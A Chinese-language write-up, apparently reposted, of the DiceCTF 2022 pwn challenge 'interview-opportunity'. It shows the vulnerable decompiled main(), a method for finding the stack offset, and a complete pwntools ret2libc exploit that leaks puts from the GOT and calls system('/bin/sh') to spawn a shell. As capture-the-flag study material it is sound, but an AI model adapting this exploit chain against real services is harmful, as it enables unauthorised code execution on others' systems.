[DiceCTF 2022] interview-opportunity

编程知识 更新时间:2023-04-29 03:11:54

前言

2022年打的第一场CTF, 不过也主要是划水, 有常规的题目也有比较进阶的
之前想复现来着, 结果在忙别的事一直拖了三个月…
比赛网址: https://ctf.dicega.ng/
CTFtime WP: https://ctftime/event/1541/tasks/

这道题本身很简单, 不过赛后看了国外师傅的blog令我眼前一亮, pwntools的ROP类提供find_gadget()函数来自动找gadget, 为此我还特地去读了下pwntools源码, 还去翻了翻github提交历史, 发现这个功能2017年前就有了, 但是感觉没多少人用?

所以来学习一下, 有这种函数就可以把ROPgadget给扔了(大概

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char buf[10]; // [rsp+6h] [rbp-1Ah] BYREF
  const char **v5; // [rsp+10h] [rbp-10h]
  int v6; // [rsp+1Ch] [rbp-4h]

  v6 = argc;
  v5 = argv;
  env_setup(argc, argv, envp);
  printf(
    "Thank you for you interest in applying to DiceGang. We need great pwners like you to continue our traditions and com"
    "petition against perfect blue.\n");
  printf("So tell us. Why should you join DiceGang?\n");
  read(0, buf, 0x46uLL);
  puts("Hello: ");
  puts(buf);
  return 0;
}

比较常规的栈溢出, 泄露libc, ret2libc

另外这个题的offset不是反编译看到的距离, 需要调试确定, 不过也可以用脚本自动化确定

这里offset有个坑
注意buf没有按size_t对齐, 估计是编译的时候改了设置, 正确计算是0x7fffffffdf08 - 0x7fffffffdee6 = 0x22

或者脚本, 但是系统设置不同可能不出corefile

def find_offset():
	io = process('./interview-opportunity')
	payload = cyclic(512)
	io.sendline(payload)
	io.wait() # wait for crash

	crash_pattern = io.corefile.read(io.corefile.sp, 4)
	# print(crash_pattern)
	offset = cyclic_find(crash_pattern)
	return offset

print('offset = ', find_offset())

EXP

from pwn import *

filename = "./interview-opportunity"
elf = ELF(filename)
rop = ROP(elf)
libc = ELF("./libc.so.6")

context.log_level = "debug"
io = process(filename)

def B():
    gdb.attach(io)
    pause()
    
lf = lambda addrstring, address: log.info('{}: %#x'.format(addrstring), address)

def pwn():
    puts_plt = elf.plt['puts']
    puts_got = elf.got['puts']
    main_addr = elf.sym['main']
    pop_rdi_addr = rop.find_gadget(['pop rdi', 'ret'])[0]
    ret_addr = rop.find_gadget(['ret'])[0]
    
    offset = 0x22
    payload = cyclic(offset) + p64(pop_rdi_addr) + p64(puts_got)
    payload += p64(puts_plt) + p64(main_addr)
    io.sendlineafter('?', payload)
    puts_addr = u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
    lf('puts address', puts_addr)

    libc.address = puts_addr - libc.sym['puts']
    system_addr = libc.sym['system'] 
    binsh_addr = next(libc.search(b'/bin/sh'))
    payload = cyclic(offset) + p64(pop_rdi_addr) + p64(binsh_addr)
    payload += p64(system_addr) + p64(main_addr)
    io.sendlineafter('?', payload)
    

if __name__ == "__main__":
    pwn()
    io.interactive()

更多推荐

[DiceCTF 2022] interview-opportunity

本文发布于:2023-04-21 18:15:00,感谢您对本站的认可!
本文链接:https://www.elefans.com/category/jswz/5addc7661699a2800e164e9610234707.html
版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系,我们将在24小时内删除。
本文标签:DiceCTF   opportunity   interview

发布评论

评论列表 (有 0 条评论)
草根站长

>www.elefans.com

编程频道|电子爱好者 - 技术资讯及电子产品介绍!

  • 93659文章数
  • 23777阅读数
  • 0评论数